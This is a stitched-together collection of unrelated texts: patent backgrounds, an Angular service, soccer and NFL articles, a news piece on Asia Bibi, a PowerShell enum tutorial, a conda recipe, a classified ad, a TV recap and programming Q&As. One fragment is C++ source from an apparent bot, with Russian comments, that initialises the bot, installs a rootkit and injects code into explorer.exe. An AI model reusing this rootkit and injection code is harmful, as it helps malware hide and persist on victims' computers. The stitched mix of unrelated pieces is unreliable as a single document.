When upgrading a database, there are a number of technical problems to be addressed. For example, most database users depend on the availability of a database, including the applications and data stored therein. In some cases, the required availability of a database may dictate that interruptions to productive operation be minimized when performing an upgrade. By way of example, a database user may require approximately, continuous availability of a database (e.g., availability 12-24 hours a day, 5-7 days a week). Therefore, extended database interruptions may be unacceptable and minimizing the downtime for a database upgrade can become problematic, especially when attempting to upgrade a large database using conventional techniques.
Other issues may exist when upgrading a database. For instance, many database environments require that certain modifications, add-ons, support packages, application data, customizing data, and/or other items be maintained when installing a new release. Making adjustments to import or maintain such items can dramatically extend the downtime required for performing an upgrade and, in some cases, create failure or disaster risks for the database. Conventional methods for upgrading a database also suffer other drawbacks, such as being technology dependent or restrictive as to the upgrade release (i.e., dependent on the prior release(s) installed in the database). |
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Session, generateSession } from './session.model';
import { Password } from './password.model';
import { map } from 'rxjs/operators';
import { Observable } from 'rxjs';
import { Profile, User, generateUser } from '../../users/shared/user.model';
@Injectable({
providedIn: 'root'
})
export class ProfileService {
constructor(private http: HttpClient) {}
findSessions(): Observable<Session[]> {
return this.http.get<Session[]>('/users/sessions').pipe(map(data => data.map(generateSession)));
}
findProfile(): Observable<User> {
return this.http.get<User>('/users/profile').pipe(map(generateUser));
}
updateProfile(data: Profile): Observable<User> {
return this.http.put<User>('/users/profile', data).pipe(map(generateUser));
}
updatePassword(data: Password): Observable<void> {
return this.http.put<void>('/users/password', data);
}
}
|
After a three-game win streak in the USL, the Pittsburgh Riverhounds dropped their match against Chicago United FC in the Lamar Hunt U.S. Open Cup.
The annual tournament — hosted by U.S. Soccer — has clubs from various different leagues in the United States battle each other. Clubs ranging from the top-tier professionals all the way to amateur clubs fight for the trophy.
However, the Riverhounds won’t be hoisting the cup.
The Riverhounds traveled to Chicago, leaving behind players like ... Read More
Keasel Broome had unfinished business with Pittsburgh.
That’s why the goalkeeper signed with the Pittsburgh Riverhounds back in November.
“The Riverhounds was the first place I came on trial after college,” Broome says. “When I was on trial, I was drafted by the San Jose Earthquakes, and I want to finish where I first started my journey.”
But that trial wasn’t the only time Broome was in Pittsburgh before he signed with the Riverhounds. Broome also played against the Riverhounds last ... Read More
Kay Banjo almost gave up on soccer.
Almost.
“I was struggling, an injury occurred, and my way of thinking at the time wasn’t good,” Banjo says. “I just felt like people weren’t there when I needed them. But a lot of things change, and I thank God and my family for staying with me.”
Banjo, who struggled to find a college that would accept him, recently made his first professional start as a forward for the Pittsburgh Riverhounds, who he signed with in November 2016. In his first ... Read More
The Pittsburgh Riverhounds have found another centerback to help bolster their defense. The club announced Monday afternoon that it acquired Joseph Greenspan on loan from MLS team Minnesota United FC.
Greenspan became a member of Minnesota United FC after he was traded from the Colorado Rapids (another MLS team) on December 11, 2016. He was originally drafted by the Rapids with the 28th overall pick in second round of the 2015 MLS SuperDraft.
With the Rapids, Greenspan featured in four ... Read More
Just call Corey Hertzog the Pittsburgh Riverhounds' utility man.
The striker continues to add to his goal count this season — and not just with his feet. Saturday, Hertzog scored the game-winning goal for the Riverhounds against the Charleston Battery with his head. That header, which occurred in the second half's stoppage time, was assisted by captain Kevin Kerr and gave the Riverhounds 2-1 win and all three points on the road.
The game started out with a goal from the Battery when ... Read More
With their defender numbers dwindling, the Pittsburgh Riverhounds turned to their MLS counterpart for some help. The Columbus Crew SC sent defender Lalas Abubakar to the Riverhounds on a “match-to-match” basis loan.
Pittsburgh defender Gale Agbossoumonde will be out for this weekend’s match against the Charleston Battery due to two cautions and a red card last Saturday against FC Cincinnati. Also expected to miss this Satuday's match is defender Ryan Adeleye, who is dealing with a lower-body ... Read More
The Pittsburgh Riverhounds opened their season last weekend against the reigning USL champions, the New York Red Bulls II, with a draw.
This week, however, they weren’t as lucky with the final score.
Saturday at Highmark Stadium, the Riverhounds fell to FC Cincinnati, a new rival club, by a 1-0 final score.
Pittsburgh had a bit of a conundrum when Gale Agbossoumonde was shown a red card in the 42’ minute. Agbossoumonde, who joined the team right before the start of the season, was shown ... Read More
For the first time since 2015, someone on the Pittsburgh Riverhounds' roster is the USL Player of the Week. Forward Corey Hertzog got the honor after his two-goal performance against the New York Red Bulls II on Saturday. The Riverhounds and Red Bulls II drew 3-3, with Pittsburgh captain Kevin Kerr notching the other goal.
Hertzog’s first goal was a stellar chip past a defender and then past goalkeeper Rafael Diaz. To celebrate, Hertzog picked up the ball-boy and celebrated with the Steel ... Read More
Fans waited — and tailgated — outside Highmark Stadium on Saturday until the gates opened at 4 p.m. It was the Pittsburgh Riverhounds' season opener, and the eyes of children gleamed as they looked at they players like they were their heroes.
The stands quickly filled up to watch the Riverhounds, led by head coach Dave Brandt, take on the New York Red Bulls II, the defending USL champions. The Riverhounds had a dismal season last year, but they kicked off their 2017 campaign with a point, as ... Read More
Victor Souto started playing football when he was five.
Yes, football. No, there weren't any shoulder pads or helmets involved.
Souto was born and raised in Brazil, where “futebol” (American soccer) is at the heart and soul of the nation. The country is a haven for “o jogo bonito” (“the beautiful game), football players — think: Pelé, Ronaldinho, Marta — and fans. It's a place where instead of dreaming of being the next Tom Brady, kids dream of being the next Neymar and making a living ... Read More |
Steve Dykes/Getty ImagesRichard Sherman took a blocked kick back 90 yards for a TD on Sunday night.
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The Seattle Seahawks’ assault on NFL scoreboards has begun to look less like the imprint made by a football team and more like one from a basketball squad. Seattle is averaging 50.0 points per game over its last three.
In a crowded NFC playoff picture, the Seahawks (10-5) still have a chance to claim the No. 2 seed in the conference after throttling the San Francisco 49ers 42-13 in Week 15. Aside from helping their own cause by beating the St. Louis Rams at home in Week 17, they’ll need a little help from two teams. The Arizona Cardinals will need to beat San Francisco on the road and the Minnesota Vikings will have to knock off the Green Bay Packers at home.
One of those desired outcomes (Minnesota winning) is much more likely than the other.
Nobody wants to see Seattle at home if all three wins do take place. The Seahawks are undefeated in Seattle, terrorizing opponents on both sides of the ball and winning by an average of 29.5 PPG in their last four home games.
They already annihilated an NFC favorite in the 49ers and they’re a mismatch for the No. 1-seeded Atlanta Falcons.
Atlanta isn’t exactly adept at stopping the run—an important element to winning in the playoffs—and the Seahawks run the football as well as anyone. A factor that could work in their favor by quieting the Georgia Dome should they travel to Atlanta.
Another thing that Seahawks fans should be excited about is the timing of their team’s peak: It’s the most wonderful time of the year to steamroll opponents and bring more components to their offensive game plan.
Russell Wilson is only getting better, as evidenced by the rookie’s career-high four passing touchdowns in Week 16, one game after four total touchdowns (three rushing) in Week 15. To top it all off, behemoth (6’4”) cornerback Brandon Browner will be eligible to return from suspension just in time for Seattle’s first playoff game.
The Seahawks are looking more and more like a destructive force as a wild-card playoff entrant. If they win their division, the 12th Man is going to wreak havoc on the opposition in the postseason. |
The primary use of air fresheners is to mask odor. A technically advanced air freshener is one that provides longer lasting performance. A need exists for the determination by means of the use of an effective testing system of physical-chemical properties that control the sustained performance of an air freshener fragrance.
It is, accordingly, an object of my invention to devise apparatus and a process for the simultaneous evaluation of an air freshener's performance for its hedonics, intensity, volatile content, diffusivity and weight loss as a function of time in a controlled environment of temperature and air mixing. It is another object of my invention to combine the advantages of a laboratory system that allows for only analytical measurements and a full scale test of odor performance in a specifically designed environment that allows only sensory testing.
Nothing in the prior art provides a system whereby a controlled environment that allows for both sensory and analytical measurements of a fragrance's performance as is the case in my invention. |
Blockage of the macrophage migration inhibitory factor expression by short interference RNA inhibited the rejection of an allogeneic tracheal graft.
We investigated the inhibitory effect of blocking the macrophage migration inhibitory factor (MIF) on the fibrous obstruction of a transplanted allograft in a murine model of obstructive bronchiolitis (OB). Tracheal grafts from C57BL/6 mice were transplanted into a subcutaneous pouch of BALB/c. Three days after transplantation, liposome including short interference (si) RNA for MIF was injected into the lumen of the grafts. The allografts were then harvested 7, 14 or 28 days after transplantation for an evaluation of the morphological changes. The MIF expression, which was ubiquitously recognized in the epithelium of allografts, decreased after the in vivo transfection of MIF siRNA. OB formation was therefore inhibited significantly more by the treatment with MIF siRNA than the allografts injected with empty liposome on the 14th day, however, no difference was observed between them on the 28th day. Treatment with MIF siRNA inhibits the destruction of tracheal allografts and OB formation in the early phase, and MIF was thus found to be one of the major cytokines involved in the rejection of the allogeneic trachea. |
#include "main.h"
#include "core\file.h"
#include "core\socket.h"
#include "AdminPanel.h"
#include "Manager.h"
#include "task.h"
#include "service.h"
void ExplorerLoop( bool runAdminPanel )
{
//Если стартуем с InjectToExplorer32(), то инициализация не нужна
InitBot();
DbgMsg( "Стартанули в explorer.exe, UID=%s", Config::UID );
if( !InitRootkit() )
{
DbgMsg( "Rootkit не установился" );
}
Pipe::InitServerPipeResponse();
ManagerLoop(runAdminPanel);
}
DWORD WINAPI ExplorerEntry( void* )
{
ExplorerLoop(true);
return 0;
}
DWORD WINAPI ExplorerEntryFromService( void* )
{
ExplorerLoop(false);
return 0;
}
bool WaitRunExplorer()
{
for( int i = 0; i < 300; i++ )
if( Process::GetExplorerPID() )
return true;
else
Delay(100);
return false;
}
void RunInExplorer2( SIZE_T param )
{
// return InjectToExplorer32(func);
DWORD pid = Process::GetExplorerPID();
if( pid )
{
SetInjectPID(pid);
InjectIntoProcess2( pid, (typeFuncThread)param );
}
}
bool RunInExplorer( typeFuncThread func )
{
// return InjectCrossRootkit( RunInExplorer2, (DWORD)func );
/*
DWORD pid = Process::GetExplorerPID();
Process::Kill( pid, 5000 );
return Process::Exec( "explorer.exe" );
*/
/*
// return InjectToExplorer32(func);
DWORD pid = Process::GetExplorerPID();
if( pid )
{
SetInjectPID(pid);
return InjectIntoProcess2( pid, func );
}
*/
return false;
}
|
Teaching German
News
Asia Bibi's husband, Ashiq Masih, appeals to US President Donald Trump for asylum
Ashiq Masih, the husband of Christian Pakistani woman Asia Bibi, who was recently acquitted after spending eight years on death row on blasphemy charges, has pleaded to world leaders to help the family leave the country.
Her husband, Ashiq Masih, has now appealed to US President Donald Trump, British Prime Minister Theresa May and Canadian Prime Minister Justin Trudeau to help the family exit the country.
Following Bibi's acquittal, the hard-line Tehreek-e-Labbaik (TLP) party took to the streets and forced the government of Prime Minister Imran Khan to strike a deal to end the protest.
According to the deal, the government will not block a review petition for the acquittal and will take measures to ban Bibi from traveling abroad.
"I am requesting the president of the United States, Donald Trump, to help us exit from Pakistan," Masih said in a video recorded by the British Pakistani Christian Association.
"I also request the prime minister of the United Kingdom to help us, I also request the prime minister of Canada," he said, while also asking for help on behalf of his brother Joseph Nadeem, who has assisted with Bibi's case.
In another video sent to DW by Islamabad correspondent Haroon Janjua, Masih sent out the same message.
Watch video01:22
Now live
01:22 mins.
Asia Bibi's husband Ashiq Masih pleads for asylum
Ongoing ordeal
On Saturday, Bibi's lawyer Saiful Mulook left Pakistan for an undisclosed European country "to save [my] life from [the] angry mob."
Bibi was arrested in June 2009, after her neighbors complained that she had made derogatory remarks about Islam's Prophet Muhammad. A year later, Bibi was sentenced to death under the country's blasphemy laws despite strong opposition from national and international human rights groups.
After a hearing on October 8 of this year, Pakistan's Supreme Court reversed two lower court verdicts against Bibi in what was her final appeal against her 2010 death sentence.
In 2014, the death sentence had been upheld by the Lahore High Court. Rights group Amnesty International dubbed the verdict a "grave injustice."
In 2015, Bibi's lawyers filed an appeal in the Supreme Court against the death penalty.
"The agreement has sent a shiver down my spine. My family is frightened, my relatives are frightened and my friends are also frightened. This agreement should never have been struck. The three judges delivered the verdict after taking into account all aspects of the case, analyzing all factors, studying the contradictions and basing everything on facts," Masih told DW.
"The current situation is very dangerous for us. We have no security and are hiding here and there, frequently changing our location. I think that the clerics will encircle the Supreme Court on the day of the hearing. I really feel very afraid of going on that day. But I think God has been protecting us and he will also continue to protect us. I place all my trust in God," Masih added.
On Sunday, Qamar Rafiq, who is associated with Bibi's family, told DW in an audio message that they are under a great amount of stress.
"They fear that the current turmoil could be harmful to them, and that they could even be killed," Rafiq said.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
A dispute over water
In 2009, Asia Bibi was accused of insulting the Prophet Muhammad while she was working in a field in Punjab's Sheikhupura district. The Muslim women who were working with Bibi objected to her fetching water, saying that as a non-Muslim she was not allowed to touch the water bowl. The women then complained to a local cleric and leveled blasphemy charges against Bibi.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
A sensitive matter
According to local media, the argument in the field led to a mob attack on Bibi's house. Later, police took Bibi into custody and launched an investigation into the blasphemy accusations. Blasphemy is a sensitive issue in Pakistan, where 97 percent of the population is Muslim.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Controversial law
The blasphemy law was introduced by General Zia-ul-Haq, a military dictator, in the 1980s. Activists say they are often implemented in cases that have little to do with blasphemy and are used to settle petty disputes and personal vendettas. Christians, Hindus and Ahmadis — a minority Islamic sect — are often victimized as a result.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
The Pakistani state vs. Bibi
In 2010, a lower court convicted Bibi of blasphemy. Although the defense lawyer argued that the blasphemy allegations were made to settle personal scores, the court sentenced Bibi to death by hanging. Bibi's family has been living under constant fear since 2010. Her husband, Ashiq Masih (R), says he has been fighting a battle for his wife's freedom ever since.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Assassination of critics
In 2010, Salman Taseer (R), the then governor of Punjab province, backed Bibi and demanded amendments in the blasphemy laws. Taseer's anti-blasphemy law position angered extremists. In 2011, Taseer was gunned down by his own bodyguard in Islamabad. The same year, Shahbaz Bhatti, the then minister for minorities and a prominent blasphemy law critic, was also assassinated by unidentified gunmen.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Celebration of killings
After Taseer's murder, Qadri became a hero for Pakistani Islamists. Qadri was showered with rose petals by right-wing groups as he was taken to jail by the authorities. Qadri was sent to the gallows in 2016. Thousands of people – mostly supporters of Islamic groups – attended Qadri's funeral. Local media reported that Qadri's supporters built a shrine after his death to honor him.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Fear in the judicial community
After the killings of blasphemy law critics, many lawyers refused to take up Bibi's case in the higher courts. In 2014, the Lahore High Court upheld her death sentence. Pakistan's top court, the Supreme Court, was scheduled to hear Bibi's appeal against the conviction in 2016, but one judge refused to be a part of the judicial bench, citing personal reasons.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Victims of blasphemy law
According to the American Centre for Law and Justice, at least 40 Pakistanis were sentenced to death on blasphemy charges in 2016. The law is often used to target religious minorities and secular Muslims. Although there hasn't been any legal execution under the blasphemy law, there have been instances where angry mobs have lynched alleged blasphemers.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Persecution of religious minorities
Pakistan's Christians and other religious minorities complain of legal and social discrimination in their country. In the past few years, many Christians and Hindus have been brutally murdered over unproven blasphemy allegations.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
Threats from Islamists
Religious extremists in Pakistan, particularly the Tehreek-e-Labaik Pakistan (TLP) group, have warned the authorities against reversing Bibi's blasphemy verdict. The country's Christian minority fears that if the judges decide to reverse the death sentence, they could face a violent backlash from the country's hardline Islamic groups.
Asia Bibi case highlights Pakistan's harsh blasphemy laws
International support for Bibi
Rights groups and Western governments demand a fair trial in Bibi's case. In 2015, Bibi's daughter met with Pope Francis, who offered prayers for her mother at the Vatican. In 2014, Amnesty International dubbed the Lahore High Court's verdict against Bibi a "grave injustice." The American Centre for Law and Justice also condemned Bibi's sentence and urged Islamabad to protect religious minorities. |
I was working on a project recently that required me to have an Enum that allowed bit fields as opposed to the normal fields that we might deal with in our day to day endeavors with PowerShell.
If you aren’t quite sure what I mean by this, here is a quick example that shows the difference between the two.
First, the regular Enum that we are used to:
([DayOfWeek]0..6).ForEach({[pscustomobject]@{Number=$_;Data=[DayOfWeek]$_}})
Notice that each number matches up to a single value: 0 = Sunday, 3 = Wednesday and so on.
Now for an Enum with bit fields:
([System.IO.FileAttributes]1..7).ForEach({ [pscustomobject]@{Number=$_;Data=[System.IO.FileAttributes]$_} })
You can see here that depending on the value, you may end up for more than 1 item. This typically will follow a 1,2,4,8,16…etc… approach for the single items and then they perform a bitwise XOR to combine values for more items.
Now that we have covered this topic in a very basic form, we still need to understand how to build one so we can use it in PowerShell. In PowerShell V2..4 we would have to settle on creating the enum by creating a C# here string and loading it up into the session like so:
Add-Type -TypeDefinition @" [System.Flags] public enum Animals { Dog = 1, Cat = 2, Bird = 4, Lizard = 8 } "@
All we have to do is ensure that the [System.Flags] attribute is used within our code.
Now we can verify that this actually worked like we wanted:
(1..15).ForEach{[pscustomobject]@{Number=$_;Animal=[Animals]$_}}
I’d say it passes the test!
Next up is building one dynamically using reflection. A little more complex but not something that we can’t do..right?
#region Module Builder $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('Random') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) # Only run in memory $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Random', $False) #endregion Module Builder #region Animals $EnumBuilder = $ModuleBuilder.DefineEnum('Animals', 'Public', [int32]) [void]$EnumBuilder.DefineLiteral('Dog', [int32] 0x00000001) [void]$EnumBuilder.DefineLiteral('Cat', [int32] 0x00000002) [void]$EnumBuilder.DefineLiteral('Bird', [int32] 0x00000004) [void]$EnumBuilder.DefineLiteral('Lizard', [int32] 0x00000008) $EnumBuilder.SetCustomAttribute( [FlagsAttribute].GetConstructor([Type]::EmptyTypes), @() ) [void]$EnumBuilder.CreateType() #endregion Animals
The trick here is to create a custom attribute where we supply the default constructor for the Flags.Attribute type add that attribute to the enum.
We can test using the same code to see if everything matches up:
Success! Ok, so I have covered the old ways of doing it and even the reflection approach is still valid in V5 if your goal is keeping everything in memory and not writing to disk.
If you are interested in an even easier way of doing this, then check out fellow MVP Matt Graeber’s PSReflect module that gives you the PSEnum function that makes this whole thing a snap!
$Mod = New-InMemoryModule -ModuleName Win32 psenum -FullName Animals -Type Int32 -Bitfield -Module $Mod -EnumElements @{ Dog = 1 Cat = 2 Bird = 4 Lizard = 8 }
If you run the usual code, you can easily see that it works!
In PowerShell V5, we are greeted with an easier way to natively build an Enum in PowerShell with the…Enum keyword! But we don’t quite care about that as we really need to have support for Flags so we can have our bit field support.
Luckily we have that available albeit not documented anywhere yet. We just have to define that it will have the Flags attribute before calling the Enum keyword and we are ready to go!
[Flags()] enum Animals { Dog = 1 Cat = 2 Bird = 4 Lizard = 8 }
How simple was that? We just create the enum and it is ready to go with not much code or having to compile C# (not that it was that tough anyways) and we can verify once again just to make sure it works like we want it to.
No oddness here! It worked like a champ and we have yet another way to accomplish our goal! Just remember that this approach only works with PowerShell V5.
Enjoy! |
package:
name: r-tm
# Note that conda versions cannot contain -, so any -'s in the version have
# been replaced with _'s.
version: "0.6_2"
source:
fn: tm_0.6-2.tar.gz
url:
- http://cran.r-project.org/src/contrib/tm_0.6-2.tar.gz
- http://cran.r-project.org/src/contrib/Archive/tm/tm_0.6-2.tar.gz
# You can add a hash for the file here, like md5 or sha1
# md5: 49448ba4863157652311cc5ea4fea3ea
# sha1: 3bcfbee008276084cbb37a2b453963c61176a322
# patches:
# List any patch files here
# - fix.patch
build:
# If this is a new build for the same version, increment the build
# number. If you do not include this key, it defaults to 0.
# number: 1
# This is required to make R link correctly on Linux.
rpaths:
- lib/R/lib/
- lib/
# Suggests: filehash, methods, Rcampdf, Rgraphviz, Rpoppler, SnowballC, tm.lexicon.GeneralInquirer, XML
requirements:
build:
- r
- r-nlp >=0.1_6.2
- r-slam >=0.1_31
- gcc # [not win]
run:
- r
- r-nlp >=0.1_6.2
- r-slam >=0.1_31
- libgcc # [not win]
test:
commands:
# You can put additional test commands to be run here.
- export R_HOME=$PREFIX/lib/R #[not win]
- $R -e "library('tm')" # [not win]
- "\"%R%\" -e \"library('tm')\"" # [win]
# You can also put a file called run_test.py, run_test.sh, or run_test.bat
# in the recipe that will be run at test time.
# requires:
# Put any additional test requirements here.
about:
home: http://tm.r-forge.r-project.org/
license: GPL-3
summary: A framework for text mining applications within R.
license_family: GPL3
# The original CRAN metadata for this package was:
# Package: tm
# Title: Text Mining Package
# Version: 0.6-2
# Date: 2015-07-02
# Authors@R: c(person("Ingo", "Feinerer", role = c("aut", "cre"), email = "feinerer@logic.at"), person("Kurt", "Hornik", role = "aut"), person("Artifex Software, Inc.", role = c("ctb", "cph"), comment = "pdf_info.ps taken from GPL Ghostscript"))
# Depends: R (>= 3.1.0), NLP (>= 0.1-6.2)
# Imports: parallel, slam (>= 0.1-31), stats, tools, utils, graphics
# Suggests: filehash, methods, Rcampdf, Rgraphviz, Rpoppler, SnowballC, tm.lexicon.GeneralInquirer, XML
# SystemRequirements: Antiword (<http://www.winfield.demon.nl/>) for reading MS Word files, pdfinfo and pdftotext from Poppler (<http://poppler.freedesktop.org/>) for reading PDF
# Description: A framework for text mining applications within R.
# License: GPL-3
# URL: http://tm.r-forge.r-project.org/
# Additional_repositories: http://datacube.wu.ac.at
# NeedsCompilation: yes
# Packaged: 2015-07-03 06:57:05 UTC; hornik
# Author: Ingo Feinerer [aut, cre], Kurt Hornik [aut], Artifex Software, Inc. [ctb, cph] (pdf_info.ps taken from GPL Ghostscript)
# Maintainer: Ingo Feinerer <feinerer@logic.at>
# Repository: CRAN
# Date/Publication: 2015-07-03 10:43:07
# See
# http://docs.continuum.io/conda/build.html for
# more information about meta.yaml
|
2 Blue India Peafowl egg FS FL
I don't like to ship in heat, but will if you prefer. Local pick up to 32052 is welcome. Shipping included in the price $25 for at least 2. We hatched a bunch of Peachicks from these groups of breeders. Paypal [email protected] and post sold. |
'Sons of Anarchy' recap: Is Tara out of options?
Ron Perlman as Clay Morrow and Katey Sagal as Gemma Teller in 'Sons of Anarchy' televised on Tuesday, November 12, 2013. (Prashant Gupta/FX)
Oh, poor Tara. In tonight's episode of "Sons of Anarchy," she realizes that she has reached the end of one road -- that her desperate, ill-conceived plan has blown up in her face and that all viable options have dried up. Even the immunity deal previously offered by the D.A. is now off the table because "there are other things pending."
Ah, yes. You can check out, but you can never leave. ...
Moreover, Tara has lost herself in the process. She spent so much time studying at the knee of Gemma that she essentially became like her Old Lady "coach." Tara's miscarriage hoax, in fact, was very Gemma-like: Sneaky, ruthless, devious and nefarious.
Now, Tara looks in the mirror and wonders what her love of Jax -- and her association with Gemma and the biker club -- has turned her into.
"Look what you've done to me!" she yells at Jax after catching him in bed with Collette and pulling a gun on him. "What happened to me?!"
SAMCRO happened to her. And now she's paying the price.
As the episode begins, we see that Jax hasn't gone ballistic on Tara. He's more level-headed than what we might have expected. That's because Tara isn't just another thug he can punch out, or kill. She's the woman he has long loved. The mother of his children. And it's possible that he realizes he has played a role in driving her to this betrayal.
Advertisement
So, he's not taking the kids, for now. He's allowing Tara to leave the house with them, but he's also putting a 24/7 tail on her and orders her not to leave town.
"If I don't put some distance here, someone's going to get hurt," he says.
And so, as Jax looks to finalize the deal that will turn over the guns operation to Clay and the Irish, Tara tries to figure out just what went wrong and how.
She vents her anager at loose-lips Wendy, who is hitting the drugs again. And she meets with her other failed ally, Margaret, who is so freaked out by a possible violent run-in with Jax that she's taking three weeks off and heading to Sedona.
At this point, Tara is still feeling defiant, not defeated. How defiant? She viciously backs her vehicle into Juice's bike to keep him from following her. And when Gemma drops by the house to tell her that she should just apologize to Jax and leave, Tara stands up to her and tells Gemma that she will never bolt town without the kids.
And that's when Gemma has to remind Tara exactly who she's dealing with.
"Have you any idea of who your husband is -- what he's capable of?" Gemma snarls. "My son loves deep, but hates deeper."
After barging in on Jax and Collette (and punching the blonde in the face), Tara is at the end of her rope, But she's got one last card to play: She visits Patterson, hoping the D.A. can revive the immunity offer that will allow Tara to rat out the club and go free.
"I'm ready to talk," she declares.
Of course, Patterson, by now, has another deal in the works with Jax to take down the Irish. But recognizing that Tara is in trouble, she offers protection.
"If you fear for the safety of you and your boys, I can help," she says.
But Tara believes that it's all very hopeless.
"No you can't," she replies. "No one can help me."
Some other developments and random thoughts:
-- In the other main story line, Galen is back to wreak more havoc. He not only demands that Jax and the guys help with the plan to spring Clay during the transfer trek, he wants Jax's assistance in convincing the Italians to keep buying their guns from the Irish. The latter negotiation takes on a scary tone when Galen kills a member of the Chinese crew basically for sport, which sends the angry Chinese after the SAMCRO boys. Are you starting to have doubts over whether Jax can really deliver Galen to the DA?
-- Apparently everything is now hunky-dory between Nero and Jax. They had a vicious, knock-down, drag-out fight last week and then quickly kissed and made up. Just boys being boys.
-- Early on in the season, a lot of fans, including me, felt that we hadn't seen Jax express enough remorse/sorrow over the school shooting. Tonight's episode included a short, but effective sequence that found Jax gazing wistfully through the school's gates and then dropping in on the church there and watching two school boys make their way through the building. I don't always appreciate the show's music-fueled collages, as they sometimes feel like a crutch, but this one was a nice touch.
-- Gemma on the only two options Tara has to tell her sons: "Mommy moved away, or mommy passed away. Your call." Chilling. |
PRODUCT HIGHLIGHTS
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This is a great option my dog loves this and it is really healthy! it is also a convenient way to feed your dog raw without having to keep it frozen. be careful how fast you switch your dog to a new food though, it might upset his stomach at first if you transition too quickly. good luck, I hope your pup loves it! |
Q:
Prove that a function is a bijection?
I am having trouble with this problem:
Prove that the function $f(x)=x^2-2x+3$ with domain $x\in(-\infty, 0)$, is a bijection from $(-\infty, 0)$ to its range.
Work: Basically, I try to use the standard contrapositive proof: if f(x)=f(y), then x=y to try and prove the injective. However, I am stuck on this part and I do not know what to do. I know that the function is strictly decreasing along the domain but I do not know how to put this in proof and then say that this means the function is bijective.
A:
The function $f(x) = x^2 - 2x + 3$ is bijective if it maps values from $(-\infty, 0) \mapsto (3, \infty)$. You can show that the function is monotone on that domain or you can just solve for $x$ given $y$:
$$
0 = x^2 - 2x + 3 - y \\
x = \frac{2 \pm \sqrt{4 - 4(3 - y)}}{2} = \frac{2 \pm \sqrt{4y - 8}}{2}
$$
For $x$ to exist, $4y - 8 \geq 0 \rightarrow y \geq 2$. All values in the codomain $y \in (3, \infty)$ satisfy that constraint. Next the question is whether or not values from that codomain can give two different values of $x$. The minimum value of $4y - 8$ occurs at the minimum value of $y = 3$: $12 - 8 = 4$. Therefore for all values of $y > 3$, $\sqrt{4y - 8} > \sqrt{4} = 2$. This means:
$$
x > \frac{2 + 2}{2} = 2 \\
x < \frac{2 - 2}{2} = 0
$$
Since our domain is $x\in (-\infty, 0)$, $x > 2$ is discarded. This leaves values of $y\in (3, \infty)$ giving values of $x < 0 \rightarrow x \in (-\infty, 0)$ which is the original domain, thus this function is surjective. It's also injective because we discarded the extra solution (it was outside of the original domain).
|
Potassium infusion attenuates avoidance-saline hypertension in dogs.
Previous studies have shown that a combination of avoidance conditioning schedules and increased intake of salt and water results in progressive hypertension in dogs within 14 days. The present experiments investigated the effects of increasing potassium intake upon blood pressure and heart rate of dogs made hypertensive by avoidance conditioning and salt-water loading. Two daily 30-minute sessions of free-operant avoidance conditioning were presented for 36 days during which isotonic saline was continuously infused into the arterial circulation (1.2 liters/day; 185 mEq Na+). Daily mean levels of systolic (22 +/- 5 mm Hg) and diastolic (12 +/- 4 mm Hg) pressure increased progressively in each dog during Days 1-14. Infusion of potassium chloride (100 mEq/day) from Days 15-28 resulted in progressive decreases in daily mean levels of systolic (-11 +/- 2 mm Hg) and diastolic (-8 +/- 1 mm Hg) pressure in each dog over this period. From Day 29-36, systolic (8 +/- 1 mm Hg) and diastolic (5 +/- 1 mm Hg) pressure increased. Normotensive dogs not on the avoidance schedule showed no change in arterial pressure in response to 14 days of potassium chloride infusion. These experiments show that the level of potassium, as well as sodium, intake significantly determines blood pressure levels in this form of experimental hypertension. |
Q:
How to do smoething when all the async functions completed which are called through for loop?
So I am working with puppeteer and I am just scrapping pages in multiple tabs parallelly and to open multiple tabs with the same URL I am using for loop like this:
const startScraping = async (url) => {
for (let i of MyArray) {
const page = await browser.newPage();
page.goto(url).then(() => {
scrapePage(page); // This is the function where I am scraping through this page. and
// This is also a async function
});
}
return new Promise((resolve, reject) => {
resolve("Done");
reject("Error");
});
}
startScraping(url).then((data) => {
console.log(data);
})
But the problem is that the promise is returned immediately after the loop but what I want is that this promise should be returned after all the pages have been scrapped.
Can somebody help me?
PS: scrapePage() is also a async function
Thanks in advance.
JUST FOR EXPLAINING SCENARIO:
async function func() {
setTimeout(() => {
return "Done";
}, 3000);
}
async function scrapeSingle(url) {
return [url, await func()];
}
let myArray = [1, 2, 3, 4, 5];
const parallelScrapes = myArray.map((url) => scrapeSingle(url));
Promise.all(parallelScrapes).then((data) => {
console.log(data);
});
Here I want to print [[1, "Done"], [2, "Done"], [3, "Done"], [4, "Done"], [5, "Done"]] after 3 sec but it is printing [[ 1, undefined ], [ 2, undefined ], [ 3, undefined ], [ 4, undefined ], [ 5, undefined ]] just immediately.
A:
This worked.
const startScraping = async (url) => {
let tasks = [];
for (let i of MyArray) {
const page = await browser.newPage();
await page.goto(url);
tasks.push(scrapePage(page))
}
await Promise.all(tasks);
return new Promise((resolve, reject) => {
resolve("Done");
reject("Error");
});
}
|
'use strict';
module.exports = {
/**
* Validates element name by making sure a hyphen exists
* @param {String} name - element name
* @return {Boolean} is element name valid?
*/
checkElementName(name) {
return name.indexOf('-') > 0 && name.indexOf('-') < name.length - 1;
}
};
|
1. Field of the Invention
The present invention relates to an endoscope system provided with a filter for observation for special light which is insertable/retractable into and out of a light path for illumination light or a light path for observation light.
2. Description of the Related Art
Conventionally, in observations for special light such as an NBI (Narrow Band Imaging) observation which is an observation using a narrow band light, an infrared light observation which is an observation using an infrared light, and a fluorescence observation which is an observation using fluorescence, there was a possibility that a subject image has a lower brightness as compared to that obtained in a normal white light observation. For example, Japanese Patent Application Laid-Open Publication No. 10-151104 discloses a fluorescence endoscope apparatus which uses a so-called adjustable diaphragm which changes the size of diaphragm between in a white light observation and an observation for special light so that the observations can be performed in one endoscope by switching a white light and a special light. |
Three Critical Steps Towards Improved EMS Driver Safety
